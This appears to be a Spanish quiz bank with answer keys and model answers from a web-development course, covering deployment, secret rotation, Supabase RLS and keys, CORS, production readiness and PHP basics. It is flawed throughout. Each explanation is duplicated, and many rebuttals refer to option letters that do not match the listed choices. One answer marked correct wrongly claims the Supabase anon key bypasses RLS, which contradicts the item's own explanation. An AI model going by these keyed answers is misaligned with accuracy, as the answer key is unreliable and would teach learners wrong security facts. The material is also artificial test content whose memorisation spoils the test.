Por qué: ROTAR todos los secretos. Git guarda el HISTORIAL: aunque borres el archivo .env del commit actual, sigue en commits anteriores. Cualquiera que sepa la URL de tu repo (incluso privado) puede ver el historial. Cambiar el secret es la única forma de invalidar el compromiso. Y agregar .env a .gitignore de inmediato para que no vuelva a pasar.Detalle: ROTAR todos los secretos. Git guarda el HISTORIAL: aunque borres el archivo .env del commit actual, sigue en commits anteriores. Cualquiera que sepa la URL de tu repo (incluso privado) puede ver el historial. Cambiar el secret es la única forma de invalidar el compromiso. Y agregar .env a .gitignore de inmediato para que no vuelva a pasar. | a) Borrar el archivo no borra el historial. | c) Renombrar no resuelve nada. -
¿Por qué Cloudflare es útil cuando despliegas una app?
- a) Es una base de datos.
- b) Es un servicio de DNS + CDN + seguridad + analytics: hace tu sitio más rápido, lo protege de DDoS, y te da analytics gratis. ✓ correcta
- c) Es un editor de código.
- d) Es para emails.
Por qué: Cloudflare es un servicio gratuito de DNS + CDN + protección DDoS + analytics. Lo pones entre tu dominio y tu plataforma: hace que tu sitio cargue más rápido (caché), lo protege de ataques, y te da métricas. Es el setup profesional estándar.Detalle: Cloudflare es un servicio gratuito de DNS + CDN + protección DDoS + analytics. Lo pones entre tu dominio y tu plataforma: hace que tu sitio cargue más rápido (caché), lo protege de ataques, y te da métricas. Es el setup profesional estándar. | a) No es una base de datos. | c) No es para emails. -
¿Qué es el primer paso si tu deploy falla con 'Application failed to start'?
- a) Reintentar 10 veces.
- b) Ver la pestaña 'Logs' de la plataforma: ahí está el error específico (dependencias, puerto, env vars, etc.). ✓ correcta
- c) Borrar el proyecto y empezar de nuevo.
- d) Esperar y rezar.
Por qué: Los LOGS de la plataforma son tu primera parada. Railway, Render, Vercel tienen una pestaña 'Logs' que muestra stdout/stderr de tu app en tiempo real. El error específico (qué falló) está ahí. Es antes de Google, antes de Stack Overflow, antes de rezar. LOGS FIRST.Detalle: Los LOGS de la plataforma son tu primera parada. Railway, Render, Vercel tienen una pestaña 'Logs' que muestra stdout/stderr de tu app en tiempo real. El error específico (qué falló) está ahí. Es antes de Google, antes de Stack Overflow, antes de rezar. LOGS FIRST. | a) Reintentar sin leer el error no ayuda. | c) Esperar no soluciona nada. -
En Railway/Render/Vercel, ¿cada push a main redespliega automáticamente?
- a) Sí, por defecto. ✓ correcta
- b) Solo si configuraste un webhook.
- c) Solo si usas Docker.
- d) Nunca, tienes que redesplegar manualmente.
Por qué: Sí, por defecto. Cuando conectas tu repo de GitHub, cada push a la rama principal (main/master) dispara un deploy automático. Es CI/CD gratis y sin configurar nada. Si quieres más control, puedes configurar ramas de preview o workflows de GitHub Actions.Detalle: Sí, por defecto. Cuando conectas tu repo de GitHub, cada push a la rama principal (main/master) dispara un deploy automático. Es CI/CD gratis y sin configurar nada. Si quieres más control, puedes configurar ramas de preview o workflows de GitHub Actions. | b) No necesitas Docker. | c) No es manual. -
Para una API de Node.js en Railway, ¿cómo lees el puerto?
- a) const PORT = 3000;
- b) const PORT = process.env.PORT || 3000; ✓ correcta
- c) const PORT = railway.env.PORT;
- d) No es necesario leerlo.
Por qué: process.env.PORT || 3000. Railway asigna el puerto vía la variable de entorno PORT. Si hardcodeas 3000, la plataforma no puede enrutar el tráfico. El || 3000 es para desarrollo local (donde PORT no existe, usa 3000 por default).Detalle: process.env.PORT || 3000. Railway asigna el puerto vía la variable de entorno PORT. Si hardcodeas 3000, la plataforma no puede enrutar el tráfico. El || 3000 es para desarrollo local (donde PORT no existe, usa 3000 por default). | a) Hardcodear 3000 falla en producción. | c) Sí es necesario.
Preguntas abiertas (3)
-
Explica por qué es importante NO subir el archivo .env a Git y qué hacer si lo subes por error. (3 a 5 líneas).
Respuesta modelo: .env contiene secretos (JWT_SECRET, MONGODB_URI, API keys). Si los subes a Git, cualquiera con acceso al repo (incluso colaboradores de tu equipo, o un atacante si el repo se hace público) puede verlos y usarlos. Y Git guarda el HISTORIAL para siempre: aunque borres el archivo después, sigue en commits anteriores. Por eso: (1) Prevén: agrega .env a .gitignore desde el inicio. (2) Si lo subes por error: NO basta con borrar el archivo; tienes que ROTAR todos los secretos (cambiar JWT_SECRET, regenerar API keys, cambiar contraseñas de BD). Los nuevos secrets invalidan los anteriores. Es la única forma de recuperarse de un secret filtrado.
-
Estás haciendo el primer deploy de tu API. Enumera 5 cosas que debes verificar antes de darlo por terminado. (4 a 6 líneas).
Respuesta modelo: 1. LOGS sin errores: la pestaña Logs de Railway debe mostrar el server arrancando sin stack traces rojos. 2. Variables de entorno configuradas: MONGODB_URI apunta a la BD de producción, JWT_SECRET es único y largo, NODE_ENV=production. 3. CORS configurado: si tu frontend está en otro dominio, cors({ origin: 'https://tu-frontend.com' }) está en el código. 4. HTTPS automático: la URL de Railway ya viene con HTTPS (Let's Encrypt). Verifica que HTTP redirige a HTTPS. 5. Monitor externo: UptimeRobot revisando cada 5 min, con alerta por email/Slack si se cae. Bonus: Sentry configurado para tracking de errores, y un test E2E (ej: registrar usuario, hacer login, llamar ruta protegida) que confirme que TODO funciona end-to-end en producción.
-
Tu API está en producción y de pronto deja de responder. ¿Cuáles son tus primeros 3 pasos para diagnosticar y resolver? (3 a 5 líneas).
Respuesta modelo: Paso 1: Revisar los LOGS de Railway en tiempo real. El 80% de las caídas tienen su causa ahí: error de MongoDB, excepción no atrapada, puerto mal configurado, variable de entorno faltante. Paso 2: Revisar UptimeRobot: ¿se cayó hace 5 min? ¿Coincide con algún deploy reciente? Si sí, ROLLBACK al deploy anterior (Railway tiene 'Redeploy' con un commit anterior). Paso 3: Verificar DEPENDENCIAS EXTERNAS: ¿MongoDB Atlas está caído? ¿El servicio de email está caído? A veces el problema NO es tu código sino algo que tu código llama. Si la BD está caída, no es un bug tuyo: esperar a que se recupere. Si el problema es tuyo, corregir y redesplegar. Es la diferencia entre un pánico innecesario y una respuesta profesional.
Preguntas de opción múltiple (10)
-
¿Qué es Supabase?
- a) Una base de datos NoSQL.
- b) Un BaaS (Backend as a Service) open source que ofrece PostgreSQL, Auth, Storage, Realtime y Edge Functions, alternativa a Firebase. ✓ correcta
- c) Un framework de React.
- d) Un servidor de hosting.
Por qué: Supabase es un BaaS open source que ofrece: PostgreSQL, Auth, Storage, Realtime, y Edge Functions. Es la alternativa open source a Firebase (Google), con la ventaja de usar PostgreSQL estándar (no propietario). En 2024-2025 es la opción más popular para startups y proyectos rápidos.Detalle: Supabase es un BaaS open source que ofrece: PostgreSQL, Auth, Storage, Realtime, y Edge Functions. Es la alternativa open source a Firebase (Google), con la ventaja de usar PostgreSQL estándar (no propietario). En 2024-2025 es la opción más popular para startups y proyectos rápidos. | a) No es NoSQL, es PostgreSQL (relacional). | c) No es solo hosting. -
En Supabase, ¿qué es la ANON_KEY?
- a) Una clave secreta que NUNCA debe exponerse.
- b) La clave pública del proyecto, diseñada para estar en el frontend. Es segura gracias a Row Level Security. ✓ correcta
- c) Una clave para autenticación de admin.
- d) La contraseña de la BD.
Por qué: La ANON_KEY es la clave pública del proyecto, diseñada para estar en el frontend (en tu HTML/JS). Es segura porque las políticas de RLS controlan QUÉ puede hacer con ella. Sin RLS activado, sería un riesgo de seguridad. Con RLS, es perfectamente segura.Detalle: La ANON_KEY es la clave pública del proyecto, diseñada para estar en el frontend (en tu HTML/JS). Es segura porque las políticas de RLS controlan QUÉ puede hacer con ella. Sin RLS activado, sería un riesgo de seguridad. Con RLS, es perfectamente segura. | a) Sí puede exponerse, de hecho DEBE estar en el frontend. | c) La contraseña de BD se configura aparte. -
¿Por qué es CRÍTICO activar RLS en tus tablas de Supabase?
- a) Es opcional.
- b) Sin RLS, cualquier persona con la ANON_KEY puede leer/escribir TODAS las filas de tus tablas. RLS es lo que hace que cada user solo vea SUS datos. ✓ correcta
- c) Es para que las queries sean más rápidas.
- d) No tiene importancia.
Por qué: Sin RLS activado, tu tabla es PÚBLICA para cualquiera con la anon_key: SELECT * FROM posts devuelve TODOS los posts de TODOS los usuarios. Es un agujero de seguridad GRAVÍSIMO. RLS (Row Level Security) hace que cada user solo pueda ver/modificar SUS datos. Es la diferencia entre una app segura y un escándalo de filtración.Detalle: Sin RLS activado, tu tabla es PÚBLICA para cualquiera con la anon_key: SELECT * FROM posts devuelve TODOS los posts de TODOS los usuarios. Es un agujero de seguridad GRAVÍSIMO. RLS (Row Level Security) hace que cada user solo pueda ver/modificar SUS datos. Es la diferencia entre una app segura y un escándalo de filtración. | a) No es opcional, es FUNDAMENTAL. | c) Es importantísimo. -
¿Cuál es la diferencia entre la ANON_KEY y la SERVICE_ROLE_KEY?
- a) Son sinónimos.
- b) ANON_KEY es pública, bypasea RLS limitada. SERVICE_ROLE_KEY es privada, bypasea TODAS las políticas de RLS (acceso total de admin). ✓ correcta
- c) SERVICE_ROLE_KEY es para el frontend.
- d) ANON_KEY solo sirve para login.
Por qué: ANON_KEY es la clave pública para el frontend, con permisos limitados por las políticas de RLS. SERVICE_ROLE_KEY es la clave privada de admin: bypasea TODAS las políticas de RLS y tiene acceso total. Solo debe usarse en código del servidor (Edge Functions, scripts internos). NUNCA en el frontend.Detalle: ANON_KEY es la clave pública para el frontend, con permisos limitados por las políticas de RLS. SERVICE_ROLE_KEY es la clave privada de admin: bypasea TODAS las políticas de RLS y tiene acceso total. Solo debe usarse en código del servidor (Edge Functions, scripts internos). NUNCA en el frontend. | a) No son sinónimos. | c) ANON_KEY hace mucho más que login. -
¿Cómo te suscribes a cambios en una tabla con Supabase Realtime?
- a) Con WebSockets manuales.
- b) Con supabase.channel().on('postgres_changes', { event: 'INSERT', table: 'posts' }, callback).subscribe() ✓ correcta
- c) Con fetch cada 5 segundos.
- d) No es posible.
Por qué: Supabase Realtime te da una API simple: supabase.channel('nombre').on('postgres_changes', { event: 'INSERT' (o UPDATE/DELETE), schema: 'public', table: 'nombre_tabla' }, callback).subscribe(). El callback se ejecuta cada vez que hay un cambio. Es magia: sin WebSockets manuales, sin polling, sin nada.Detalle: Supabase Realtime te da una API simple: supabase.channel('nombre').on('postgres_changes', { event: 'INSERT' (o UPDATE/DELETE), schema: 'public', table: 'nombre_tabla' }, callback).subscribe(). El callback se ejecuta cada vez que hay un cambio. Es magia: sin WebSockets manuales, sin polling, sin nada. | a) No necesitas WebSockets manuales, Supabase lo hace por ti. | c) Sí es posible, es una de las features estrellas de Supabase. -
Para una imagen de perfil que todos pueden ver, ¿qué tipo de bucket de Storage usas?
- a) Privado con signed URL.
- b) Público. ✓ correcta
- c) No importa.
- d) Solo guardo la URL en otro lado.
Por qué: Bucket público: cualquiera con la URL puede ver la imagen. Es ideal para avatares, fotos de productos, y assets que deben ser accesibles sin autenticación. Bucket privado + signed URL es para documentos sensibles (contratos, datos privados).Detalle: Bucket público: cualquiera con la URL puede ver la imagen. Es ideal para avatares, fotos de productos, y assets que deben ser accesibles sin autenticación. Bucket privado + signed URL es para documentos sensibles (contratos, datos privados). | a) Privado con signed URL es para documentos sensibles. | c) Guardar URLs aparte es redundante. -
En Supabase, ¿qué es una Edge Function?
- a) Una función que corre en el navegador.
- b) Una función serverless escrita en TypeScript con Deno, que se ejecuta en el 'edge' (cerca del usuario). Ideal para webhooks, tareas programadas, y lógica de backend custom. ✓ correcta
- c) Una vista en la BD.
- d) Un tipo de índice.
Por qué: Edge Functions son funciones serverless en TypeScript con Deno que corren cerca del usuario (en el edge). Son perfectas para: webhooks (Stripe, GitHub), tareas programadas (cron), lógica de backend que necesita ejecutarse en el server, o integraciones con APIs externas. Se despliegan con un comando: supabase functions deploy nombre-funcion.Detalle: Edge Functions son funciones serverless en TypeScript con Deno que corren cerca del usuario (en el edge). Son perfectas para: webhooks (Stripe, GitHub), tareas programadas (cron), lógica de backend que necesita ejecutarse en el server, o integraciones con APIs externas. Se despliegan con un comando: supabase functions deploy nombre-funcion. | a) No corren en el navegador, corren en el servidor. | c) No es un índice. -
Si dejas una suscripción Realtime abierta cuando un componente se desmonta, ¿qué pasa?
- a) Se cierra automáticamente.
- b) La conexión WebSocket queda abierta para siempre, consumiendo recursos del plan gratuito (que tiene límite de conexiones concurrentes). ✓ correcta
- c) La app se cae.
- d) No pasa nada.
Por qué: Cada suscripción Realtime abre una conexión WebSocket. Si tu componente se desmonta y no la cierras, la conexión se queda abierta. Después de navegar 20 páginas, tienes 20 conexiones. En el plan gratuito tienes 200 concurrentes; te las acabas rápido. SIEMPRE limpia: return () => supabase.removeChannel(canal) en useEffect.Detalle: Cada suscripción Realtime abre una conexión WebSocket. Si tu componente se desmonta y no la cierras, la conexión se queda abierta. Después de navegar 20 páginas, tienes 20 conexiones. En el plan gratuito tienes 200 concurrentes; te las acabas rápido. SIEMPRE limpia: return () => supabase.removeChannel(canal) en useEffect. | a) NO se cierra automáticamente. | c) Sí pasa: consume recursos del plan. -
¿Cuál es la principal ventaja de Supabase sobre Firebase?
- a) Supabase es más rápido.
- b) Supabase usa PostgreSQL estándar (SQL), por lo que no hay lock-in: puedes migrar a cualquier otro PostgreSQL exportando tu data. Firebase usa un datastore propietario. ✓ correcta
- c) Firebase no tiene auth.
- d) No hay diferencia.
Por qué: La principal ventaja de Supabase es que usa PostgreSQL REAL (estándar SQL). Si algún día quieres migrar de Supabase, simplemente exportas tu BD como SQL estándar y la llevas a cualquier otro PostgreSQL. Firebase, en cambio, usa Firestore (NoSQL propietario): tu data está atrapada en un formato que solo Firebase entiende. Es la diferencia entre un servicio que respeta tu independencia y uno que te encierra.Detalle: La principal ventaja de Supabase es que usa PostgreSQL REAL (estándar SQL). Si algún día quieres migrar de Supabase, simplemente exportas tu BD como SQL estándar y la llevas a cualquier otro PostgreSQL. Firebase, en cambio, usa Firestore (NoSQL propietario): tu data está atrapada en un formato que solo Firebase entiende. Es la diferencia entre un servicio que respeta tu independencia y uno que te encierra. | a) La velocidad no es la diferencia principal. | c) Hay diferencias importantes. -
En RLS, ¿qué hace la política 'USING (auth.uid() = user_id)'?
- a) Permite acceso a todos los usuarios.
- b) Restringe el acceso a las filas donde el user_id coincide con el usuario autenticado (cada user solo ve SUS datos). ✓ correcta
- c) Es para admin.
- d) Es solo para INSERT.
Por qué: auth.uid() es una función de Supabase que devuelve el ID del usuario autenticado. La condición auth.uid() = user_id significa 'solo el usuario cuyo ID coincida con user_id puede acceder a esta fila'. Es la política RLS más común: cada user solo ve/edita SUS propios datos. Sin esto, todos verían todo.Detalle: auth.uid() es una función de Supabase que devuelve el ID del usuario autenticado. La condición auth.uid() = user_id significa 'solo el usuario cuyo ID coincida con user_id puede acceder a esta fila'. Es la política RLS más común: cada user solo ve/edita SUS propios datos. Sin esto, todos verían todo. | a) Restringe, no permite a todos. | c) Aplica a SELECT, INSERT, UPDATE, DELETE por igual.
Preguntas abiertas (3)
-
Explica qué es Row Level Security (RLS) en Supabase y por qué es FUNDAMENTAL activarlo. (3 a 5 líneas).
Respuesta modelo: RLS (Row Level Security) es la característica de Supabase/PostgreSQL que controla QUÉ filas puede ver/modificar cada usuario. Se configura con políticas SQL: CREATE POLICY nombre ON tabla FOR SELECT USING (auth.uid() = user_id). Es FUNDAMENTAL activarlo (ALTER TABLE tabla ENABLE ROW LEVEL SECURITY) porque la ANON_KEY es PÚBLICA: si la pones en tu frontend, cualquiera la tiene. Sin RLS, cualquiera con la anon_key puede hacer SELECT * FROM tu_tabla y ver TODOS los datos de TODOS los usuarios. Con RLS, la propia base de datos filtra: cada usuario SOLO ve las filas donde user_id = su propio ID. Es la diferencia entre una app segura y un escándalo de filtración de datos. Es la seguridad por defecto, no opcional.
-
Explica la diferencia entre la ANON_KEY y la SERVICE_ROLE_KEY de Supabase. ¿Por qué NUNCA debes poner la SERVICE_ROLE_KEY en el frontend? (3 a 5 líneas).
Respuesta modelo: ANON_KEY es la clave PÚBLICA del proyecto, diseñada para estar en el frontend (HTML/JS). Es segura porque las políticas de RLS limitan QUÉ puede hacer: cada user solo ve sus datos. SERVICE_ROLE_KEY es la clave PRIVADA de admin: bypasea TODAS las políticas de RLS, tiene acceso total a todas las tablas y todos los datos. Solo debe usarse en código del servidor (Edge Functions, scripts internos). Si pones la SERVICE_ROLE_KEY en el frontend: cualquiera puede hacer lo que quiera con tu BD: borrar usuarios, leer contraseñas (hasheadas pero igualmente comprometidas), modificar datos. Es como darle al cliente la contraseña de root de tu servidor. Si se filtra, rótala INMEDIATAMENTE desde el dashboard. La regla: ANON_KEY en el frontend, SERVICE_ROLE_KEY solo en el servidor confiable.
-
Estás construyendo una app de 'posts' tipo Twitter. Explica cómo configurarías RLS para que cada usuario solo pueda ver, crear, editar y eliminar SUS PROPIOS posts. (4 a 6 líneas).
Respuesta modelo: Paso 1: Activar RLS: ALTER TABLE posts ENABLE ROW LEVEL SECURITY;. Sin esto, las políticas se IGNORAN. Paso 2: Política SELECT (cada user ve solo sus posts): CREATE POLICY 'Users view own posts' ON posts FOR SELECT USING (auth.uid() = user_id);. Paso 3: Política INSERT (cada user crea posts con SU user_id): CREATE POLICY 'Users insert own posts' ON posts FOR INSERT WITH CHECK (auth.uid() = user_id);. Paso 4: Política UPDATE: CREATE POLICY 'Users update own posts' ON posts FOR UPDATE USING (auth.uid() = user_id);. Paso 5: Política DELETE: CREATE POLICY 'Users delete own posts' ON posts FOR DELETE USING (auth.uid() = user_id);. Resultado: si user A intenta ver/crear/editar/borrar posts de user B, la operación falla o devuelve []. La seguridad está en la BD, no en tu código: aunque alguien manipule el frontend, la BD lo bloquea. Es la forma correcta de hacer multi-tenant con Supabase.
Preguntas de opción múltiple (10)
-
¿Por qué un README.md es importante en un proyecto profesional?
- a) Es opcional, no aporta valor.
- b) Es la carta de presentación: un reclutador lo lee ANTES de mirar el código. Un README vago hace que descarten tu proyecto. ✓ correcta
- c) Solo para proyectos open source.
- d) Reemplaza al código.
Por qué: El README es la primera impresión. Un reclutador revisa tu GitHub, ve tu proyecto, y lee el README ANTES de mirar el código. Si está vacío o vago ('un proyecto de Node'), pierdes la oportunidad. Si está completo con demo, stack, instrucciones, y contacto, ya ganaste puntos.Detalle: El README es la primera impresión. Un reclutador revisa tu GitHub, ve tu proyecto, y lee el README ANTES de mirar el código. Si está vacío o vago ('un proyecto de Node'), pierdes la oportunidad. Si está completo con demo, stack, instrucciones, y contacto, ya ganaste puntos. | a) No es opcional, es FUNDAMENTAL. | c) No reemplaza al código, lo complementa. -
¿Qué archivos NUNCA debes subir a Git en un proyecto Node.js?
- a) package.json
- b) .env (variables de entorno con secretos), node_modules/, .DS_Store ✓ correcta
- c) README.md
- d) Los archivos de código.
Por qué: .env contiene secretos (JWT_SECRET, MONGODB_URI, API keys). Si los subes a Git, cualquiera con acceso al repo puede verlos. node_modules/ pesa cientos de MB y se regenera con npm install. .DS_Store es metadata de macOS. Todo eso va en .gitignore.Detalle: .env contiene secretos (JWT_SECRET, MONGODB_URI, API keys). Si los subes a Git, cualquiera con acceso al repo puede verlos. node_modules/ pesa cientos de MB y se regenera con npm install. .DS_Store es metadata de macOS. Todo eso va en .gitignore. | a) package.json SÍ va a Git. | c) El código SÍ va a Git. -
¿Por qué Sentry es importante en producción?
- a) Es opcional.
- b) Captura cada error de tu app con stack trace y contexto, permitiéndote enterarte y arreglar bugs antes de que se acumulen reportes de usuarios. ✓ correcta
- c) Solo para apps grandes.
- d) Reemplaza los logs.
Por qué: Sentry captura cada excepción en producción con el stack trace completo, el contexto del usuario (qué hizo antes del error), y agrupa errores similares. Sin Sentry, te enteras de los errores cuando un usuario se queja. Con Sentry, los ves en tiempo real. Es gratis hasta 5,000 eventos/mes.Detalle: Sentry captura cada excepción en producción con el stack trace completo, el contexto del usuario (qué hizo antes del error), y agrupa errores similares. Sin Sentry, te enteras de los errores cuando un usuario se queja. Con Sentry, los ves en tiempo real. Es gratis hasta 5,000 eventos/mes. | a) No es opcional, es fundamental en producción. | c) Complementa los logs, no los reemplaza. -
¿Qué hace cors() en Express?
- a) Comprime las respuestas.
- b) Permite peticiones desde otros dominios (cross-origin), necesario cuando frontend y backend están en dominios distintos. ✓ correcta
- c) Encripta el tráfico.
- d) Crea cookies.
Por qué: cors() habilita CORS (Cross-Origin Resource Sharing): permite que tu frontend en un dominio (mi-app.vercel.app) haga peticiones a tu backend en otro (api.railway.app). Por seguridad, los navegadores bloquean estas peticiones por defecto. Sin cors() configurado, tu frontend recibe errores de CORS y no puede comunicarse con el backend.Detalle: cors() habilita CORS (Cross-Origin Resource Sharing): permite que tu frontend en un dominio (mi-app.vercel.app) haga peticiones a tu backend en otro (api.railway.app). Por seguridad, los navegadores bloquean estas peticiones por defecto. Sin cors() configurado, tu frontend recibe errores de CORS y no puede comunicarse con el backend. | a) Comprimir es compression(). | c) Cookies son cookie-parser. -
¿Cuál es la mejor práctica para JWT_SECRET en producción?
- a) Usar el mismo que en desarrollo.
- b) Generar uno NUEVO, largo (32+ caracteres), y aleatorio con 'openssl rand -hex 64', guardado SOLO en variables de entorno. ✓ correcta
- c) Hardcodearlo en el código.
- d) Usar 'mi_secret'.
Por qué: El JWT_SECRET de producción debe ser ÚNICO (diferente al de desarrollo), largo (mínimo 32 caracteres), aleatorio (generado con openssl rand -hex 64), y guardado SOLO en variables de entorno (nunca en el código). Si el código de desarrollo se filtra, el secret de producción sigue seguro.Detalle: El JWT_SECRET de producción debe ser ÚNICO (diferente al de desarrollo), largo (mínimo 32 caracteres), aleatorio (generado con openssl rand -hex 64), y guardado SOLO en variables de entorno (nunca en el código). Si el código de desarrollo se filtra, el secret de producción sigue seguro. | a) Cada entorno debe tener su propio secret. | c) 'mi_secret' es demasiado corto y predecible. -
¿Qué pasa si tu deploy falla con 'Application failed to start'?
- a) Reintentar 10 veces y rezar.
- b) Revisar los LOGS de la plataforma: ahí está el error específico (dependencias, puerto, env vars, etc.). ✓ correcta
- c) Borrar y empezar de nuevo.
- d) Cambiar de plataforma.
Por qué: Los LOGS de la plataforma (Railway, Render, Vercel) son tu primera parada. Ahí está el error específico: dependencias no instaladas, puerto mal configurado (¿process.env.PORT?), variable de entorno faltante, error de sintaxis, etc. LOGS FIRST, Google después.Detalle: Los LOGS de la plataforma (Railway, Render, Vercel) son tu primera parada. Ahí está el error específico: dependencias no instaladas, puerto mal configurado (¿process.env.PORT?), variable de entorno faltante, error de sintaxis, etc. LOGS FIRST, Google después. | a) Rezar no soluciona nada. | c) Cambiar de plataforma es huir del problema. -
En un proyecto FullStack, ¿dónde va la lógica de validación?
- a) Solo en el frontend.
- b) En AMBOS: en el frontend (UX, feedback inmediato) y en el backend (seguridad, fuente de verdad). Nunca confíes solo en el cliente. ✓ correcta
- c) Solo en el backend.
- d) En la BD.
Por qué: La validación va en AMBOS lados: en el frontend para UX (feedback inmediato, no esperar al servidor) y en el backend para SEGURIDAD (el cliente puede ser modificado por un atacante; el backend es la fuente de verdad). Es defensa en profundidad. La validación de la BD (constraints, tipos) es la última línea de defensa.Detalle: La validación va en AMBOS lados: en el frontend para UX (feedback inmediato, no esperar al servidor) y en el backend para SEGURIDAD (el cliente puede ser modificado por un atacante; el backend es la fuente de verdad). Es defensa en profundidad. La validación de la BD (constraints, tipos) es la última línea de defensa. | a) Solo en el frontend es inseguro. | c) En la BD es demasiado tarde para dar feedback. -
¿Por qué es importante hacer tests automatizados?
- a) No es importante en producción.
- b) Porque un cambio en una parte del código puede romper otra sin que te enteres. Los tests ejecutan en segundos lo que te tomaría horas probar manualmente. ✓ correcta
- c) Solo para librerías open source.
- d) Reemplazan al debugging.
Por qué: Sin tests, un cambio puede romper algo silenciosamente. Los tests automatizados (Jest, Vitest) ejecutan en segundos lo que tomaría horas manualmente. Empieza con 5-10 tests en funciones críticas (auth, validaciones, queries complejas) y crece. Es una inversión que se paga sola en tiempo de debugging.Detalle: Sin tests, un cambio puede romper algo silenciosamente. Los tests automatizados (Jest, Vitest) ejecutan en segundos lo que tomaría horas manualmente. Empieza con 5-10 tests en funciones críticas (auth, validaciones, queries complejas) y crece. Es una inversión que se paga sola en tiempo de debugging. | a) Es importante en producción. | c) No reemplazan al debugging, lo complementan. -
Si tu frontend está en vercel.app y tu backend en railway.app, ¿qué necesitas configurar?
- a) Nada, todo funciona automático.
- b) CORS en el backend: app.use(cors({ origin: 'https://mi-frontend.vercel.app' })) para que el navegador permita las peticiones cross-origin. ✓ correcta
- c) Cambiar el frontend a railway.
- d) Solo HTTPS.
Por qué: Por seguridad, los navegadores bloquean peticiones entre dominios distintos. Si frontend y backend están en dominios diferentes, necesitas configurar CORS en el backend: app.use(cors({ origin: 'https://mi-frontend.vercel.app' })). Sin esto, el frontend recibe errores de CORS y no puede comunicarse con el backend.Detalle: Por seguridad, los navegadores bloquean peticiones entre dominios distintos. Si frontend y backend están en dominios diferentes, necesitas configurar CORS en el backend: app.use(cors({ origin: 'https://mi-frontend.vercel.app' })). Sin esto, el frontend recibe errores de CORS y no puede comunicarse con el backend. | a) Los navegadores bloquean por defecto. | c) HTTPS no resuelve CORS. -
¿Qué debería tener un proyecto 'production-ready' que lo diferencia de uno de 'tutorial'?
- a) Solo el código.
- b) Variables de entorno seguras, validaciones, manejo de errores, autenticación robusta, monitoreo (Sentry + UptimeRobot), tests, README profesional, y deploy automatizado desde Git. ✓ correcta
- c) Solo que esté en internet.
- d) Solo tests.
Por qué: Un proyecto production-ready tiene: (1) variables de entorno seguras (.env + .env.example), (2) validaciones robustas (frontend + backend + BD), (3) manejo de errores centralizado con códigos HTTP correctos, (4) autenticación robusta (bcrypt + JWT), (5) monitoreo (Sentry + UptimeRobot), (6) tests automatizados, (7) README.md profesional, (8) deploy automatizado desde Git. Es la diferencia entre un proyecto de tutorial y uno que una empresa reconoce como profesional.Detalle: Un proyecto production-ready tiene: (1) variables de entorno seguras (.env + .env.example), (2) validaciones robustas (frontend + backend + BD), (3) manejo de errores centralizado con códigos HTTP correctos, (4) autenticación robusta (bcrypt + JWT), (5) monitoreo (Sentry + UptimeRobot), (6) tests automatizados, (7) README.md profesional, (8) deploy automatizado desde Git. Es la diferencia entre un proyecto de tutorial y uno que una empresa reconoce como profesional. | a) El código solo no es suficiente. | c) Los tests solos no son suficientes.
Preguntas abiertas (3)
-
Explica qué hace que un proyecto sea 'production-ready' y no solo un 'proyecto de tutorial'. (3 a 5 líneas).
Respuesta modelo: Un proyecto production-ready tiene: (1) Variables de entorno seguras (.env + .env.example, secrets únicos por entorno). (2) Validaciones robustas en frontend + backend + BD (defensa en profundidad). (3) Manejo de errores centralizado con códigos HTTP correctos (401, 403, 404, 500). (4) Autenticación robusta (bcrypt + JWT con refresh tokens). (5) Monitoreo 24/7 (Sentry para errores + UptimeRobot para uptime). (6) Tests automatizados (Jest, Vitest). (7) README.md profesional con demo, stack, instrucciones. (8) Deploy automatizado desde GitHub. Es la diferencia entre un proyecto que solo TÚ entiendes y uno que cualquier empresa reconoce como profesional. Los juniors hacen tutoriales; los profesionales hacen productos production-ready.
-
Estás a punto de hacer el primer deploy de tu proyecto integrador. Enumera 5 cosas que debes verificar antes de darlo por terminado. (4 a 6 líneas).
Respuesta modelo: 1. LOGS sin errores: la pestaña Logs de Railway debe mostrar el server arrancando limpio. 2. Variables de entorno: MONGODB_URI apunta a la BD de producción, JWT_SECRET es único y largo, NODE_ENV=production. 3. CORS: si frontend y backend están en dominios distintos, cors({ origin: 'https://frontend' }) configurado. 4. /health endpoint: existe y devuelve { status: 'ok' }, para que UptimeRobot pueda monitorear. 5. Sentry: configurado y probando que captura errores. Bonus: HTTPS automático, README actualizado, tests pasando en CI, un test E2E que confirme el flujo completo (registro, login, crear recurso, ver recurso). Es la diferencia entre un deploy amateur y uno profesional.
-
Después de 13 temas del Capítulo 2, ¿cuál fue el momento 'aha' más importante que tuviste? ¿Qué habilidad crees que te define como profesional? (3 a 5 líneas).
Respuesta modelo: (Esta pregunta es personal, pero aquí va mi respuesta sugerida para que el alumno reflexione). El momento 'aha' más importante para mí fue entender que el backend NO es magia: es solo código que recibe peticiones, valida datos, consulta una BD, y devuelve respuestas. JWT NO es magia: es un string firmado con datos del usuario. RLS NO es magia: son políticas SQL a nivel de fila. MongoDB NO es magia: son documentos JSON en un servidor. Cuando entendí esto, dejé de tener miedo al 'backend' y empecé a verlo como un conjunto de piezas que puedo construir y entender. La habilidad que me define como profesional es la combinación de: (1) entender la teoría, (2) HACER el código, (3) deployarlo y monitorearlo. Esa es la diferencia entre un junior que solo hizo tutoriales y un mid que tiene proyectos production-ready en internet.
Preguntas de opción múltiple (10)
-
¿Dónde se ejecuta el código PHP?
- a) En el navegador del usuario.
- b) En el SERVIDOR. El navegador solo recibe el HTML resultante. ✓ correcta
- c) En ambos, navegador y servidor.
- d) En la base de datos.
Por qué: PHP se ejecuta en el servidor. El navegador pide el archivo .php, el servidor lo procesa, ejecuta el código PHP, genera HTML, y envía SOLO el HTML al navegador. El usuario nunca ve el código PHP.Detalle: PHP se ejecuta en el servidor. El navegador pide el archivo .php, el servidor lo procesa, ejecuta el código PHP, genera HTML, y envía SOLO el HTML al navegador. El usuario nunca ve el código PHP. | a) El navegador no interpreta PHP. | c) No se ejecuta en la base de datos. -
¿Cuál es la forma CORRECTA de declarar una variable en PHP?
- a) var nombre = 'Ana';
- b) let nombre = 'Ana';
- c) $nombre = 'Ana'; ✓ correcta
- d) nombre = 'Ana';
Por qué: En PHP, TODAS las variables empiezan con $: $nombre = 'Ana';. Sin $, PHP no lo reconoce como variable.Detalle: En PHP, TODAS las variables empiezan con $: $nombre = 'Ana';. Sin $, PHP no lo reconoce como variable. | a) var es de JavaScript. | b) let es de JavaScript. -
¿Qué hace el operador === en PHP?
- a) Asignación.
- b) Comparación ESTRICTA: compara valor Y tipo. ✓ correcta
- c) Comparación flexible: convierte tipos antes de comparar.
- d) Concatenación de strings.
